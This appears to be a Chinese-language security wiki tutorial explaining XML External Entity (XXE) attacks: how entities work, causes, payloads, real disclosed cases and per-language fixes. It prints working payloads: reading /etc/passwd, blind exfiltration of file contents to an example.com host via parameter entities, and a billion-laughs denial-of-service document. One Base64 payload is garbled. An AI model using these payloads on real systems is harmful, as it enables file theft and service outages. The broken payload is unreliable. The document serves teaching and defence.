XML External Entity attack/XXE攻擊
1、相關背景介紹
可擴展標記語言(eXtensible Markup Language,XML)是一種標記語言,被設計用來傳輸和存儲數據。XML應用極其廣泛,如:
* 普通列表項目文檔格式:OOXML,ODF,PDF,RSS…… * 圖片格式:SVG,EXIF Headers…… * 網絡協議:WebDAV,CalDAV,XMLRPC,SOAP,REST,XMPP,SAML,XACML…… * 配置文件:Spring配置文件,Struts2配置文件……
在XML 1.0標准中定義了實體的概念,實體是用於定義引用普通文本或特殊字符的快捷方式的變量,實體可在內部或外部進行聲明。
包含內部實體的XML文檔:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE entity [ <!ENTITY copyright "Copyright wiki.wooyun.org"> ]> <wooyun> <internal>©right;</internal> </wooyun>
包含外部實體的XML文檔:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE entity [ <!ENTITY wiki SYSTEM "http://wiki.wooyun.org/"> ]> <wooyun> <external>&wiki;</external> </wooyun>
在解析XML時,實體將會被替換成相應的引用內容。
XML外部實體(XML External Entity,XXE)攻擊是一種常見的Web安全漏洞,攻擊者可以通過XML的外部實體獲取服務器中本應被保護的數據。
2、成因
XML解析器解析外部實體時支持多種協議:
libxml2 | PHP | Java | .NET |
——– | —————- | ——– | ——– |
file | file | file | file |
http | http | http | http |
ftp | ftp | ftp | ftp |
php | https | https | |
compress.zlib | jar | ||
data | netdoc | ||
glob | mailto | ||
phar | gopher |
如使用file協議可以讀取本地文件內容、使用http協議可以獲取Web資源等,因此攻擊者可構造惡意的外部實體,當解析器解析了包含“惡意”外部實體的XML類型文件時,便會導致被XXE攻擊。
下面這個XML被解析時便會將本地/etc/passwd
文件的內容讀出來:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE entity [ <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <wooyun> <external>&file;</external> </wooyun>
注:如果讀取的文件本身包含“<”、“&”等字符時會產生失敗的情況,對於此類文件可以使用Base64編碼繞過,具體方法如下:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE entity [ <!ENTITY file SYSTEM ENTITY e SYSTEM "php://filter/read=convert.base64-encode/resource=http://wiki.wooyun.org"> ]> <wooyun> <external>&file;</external> </wooyun>
不同的解析器可能默認對於外部實體會有不同的處理規則,以PHP語言為例,xml_parse的實現方式為expat庫,而simplexml_load使用的是libxml庫,兩個底層庫在解析的時候細節並不一樣,expat默認對外部實體並不解析,而simplexml_load默認情況下會解析外部實體等,所以simplexml_load函數會受此問題影響,而xml_parse則默認不會受到影響。下面是幾種常見語言可能會受到此問題影響的解析XML的方法:
PHP | Java | .NET |
———— | —————- | ———————— |
DOM | (待補充) | System.Xml.XmlDocument |
SimpleXML | System.Xml.XmlReader |
3、攻擊方式及危害
XXE的攻擊方式分為顯式攻擊和盲攻擊兩種:
上述POC即為顯式攻擊,攻擊者通過正常的回顯將外部實體里的內容讀取出來。
但是,在有些情況下無法通過這種方式完成XXE攻擊,這時我們可以采取盲攻擊的辦法。
XXE盲攻擊利用參數實體將本地文件內容讀出來后,作為URL中的參數向其指定服務器發起請求,然后在其指定服務器的日志(Apache日志)中讀出文件的內容。
因在dtd中使用%來定義參數實體的方式只能在外部子集中使用,或由外部文件定義參數實體,引用到XML文件的dtd來使用,所以XML文件稍有不同:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE entity [ <!ENTITY % call SYSTEM "http://example.com/evil.xml"> %call; ]> <wooyun> <text>test</text> </wooyun>
其中http://example.com/evil.xml
里的內容是:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://example.com/?file=%file;'>"> %int; %send;
危害:
XXE漏洞會導致讀取任意未授權文件,如上述POC即可讀取服務器中的/etc/passwd
文件;
因為基於樹的XML解析器會把全部加載到內存中,因此XXE漏洞也有可能被用來惡意消耗內存進行拒絕服務攻擊,例如:
<?xml version = "1.0"?> <!DOCTYPE entity [ <!ENTITY wooyun "wooyun"> <!ELEMENT wooyunz (#PCDATA)> <!ENTITY wooyun1 "&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;&wooyun;"> <!ENTITY wooyun2 "&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;&wooyun1;"> <!ENTITY wooyun3 "&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;&wooyun2;"> <!ENTITY wooyun4 "&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;&wooyun3;"> <!ENTITY wooyun5 "&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;&wooyun4;"> <!ENTITY wooyun6 "&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;&wooyun5;"> <!ENTITY wooyun7 "&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;&wooyun6;"> <!ENTITY wooyun8 "&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;&wooyun7;"> <!ENTITY wooyun9 "&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;&wooyun8;"> ]> <wooyun>&wooyun9;</wooyun>
這個XML在定義實體是不斷嵌套調用,如解析時未對大小進行限制,則可能會導致內存大量被消耗,從而實現拒絕服務攻擊。
此外,還可以利用支持的協議構造出很多相關的攻擊,如探測內網信息(如檢測服務等)等。
4、實際案例
gainover:WooYun-2014-59783:百度某功能XML實體注入(二)
由於SVG本身是基於XML的,該漏洞在SVG轉成JPG圖片時的XML解析過程中廠商僅直接過濾了ENTITY
關鍵字,但是由於DTD本身就支持調用外部的DTD文件,因此通過調用<!DOCTYPE svg SYSTEM “http://example.com/xxe.dtd”>
的方式引入外部的DTD文件即成功避開了對ENTITY
關鍵字的過濾,其中xxe.dtd
的內容如下:
<!ENTITY test SYSTEM "file:///etc/passwd">
iv4n:WooYun-2014-74069:鮮果網RSS導入Blind XXE漏洞
該漏洞的過程是利用參數實體實現了XXE盲攻擊,在讀取本地文件后,將讀出本地文件的內容作為URL中的參數向其指定服務器發起請求,在指定服務器的Apache日志中即可看到讀出的文件內容。
五道口殺氣:WooYun-2014-59911:從開源中國的某XXE漏洞到主站shell
該漏洞在格式化xml時進行了解析且沒有對外部實體進行限制,所以產生服務器上任意文件被讀取的問題,從而導致主站的ssh用戶名和密碼泄露,被成功getshell。
5、修復方案
在默認情況下關閉內聯DTD解析(Inline DTD parsing)、外部實體、實體,使用白名單來控制允許實用的協議。
了解所使用的XML解析器是否默認解析外部實體,如果默認解析應根據實際情況進行關閉或者限制。下面給出了一些常見的關閉方法:
PHP:
對於使用SimpleXML解析XML的方法可在加載實體之前添加libxmldisableentity_loader(true);
語句以進制解析外部實體。
對於使用DOM解析XML的方法可在加載實體之前添加libxmldisableentity_loader(true);
語句或者使用:
<?php
// with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>
對於XMLReader解析XML的方法可使用:
<?php
// with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); ?>
Java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
.Net:
對於使用System.Xml.XmlReader解析XML的方法:
默認情況下,外部資源使用沒有用戶憑據的XmlUrlResolver對象進行解析。這意味着在默認情況下,可以訪問任何不需要憑據的位置。通過執行下列操作之一,可以進一步保證安全:
-
通過將XmlReaderSettings.XmlResolver屬性設置為XmlSecureResolver對象限制XmlReader可訪問的資源。
-
通過將XmlReaderSettings.XmlResolver屬性設置為null,不允許XmlReader打開任何外部資源。
對於利用超大的XML文檔進行拒絕服務攻擊的問題,使用XmlReader時,通過設置MaxCharactersInDocument屬性,可以限制能夠分析的文檔大小。通過設置MaxCharactersFromEntities屬性,可以限制從擴展實體中生成的字符數。
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
6、漏洞掃描與發現
檢測XML是否被解析
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY xxe "xxe test"> ]> <root>&xxe;</root>
如果顯示了xxe test證明支持,進行第二步
是否支持外部實體:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY % xxe SYSTEM "http://192.168.5.1/xxe.xml"> %xxe; ]>
觀察自己的服務器上得access.log,如果有xxe.xml的請求,證明可以加載外部實體。
然后判斷是否有回顯,有回顯就直接加載外部實體來進行攻擊
不能回顯,則使用Blind XXE攻擊方法
7、相關其他安全問題
未知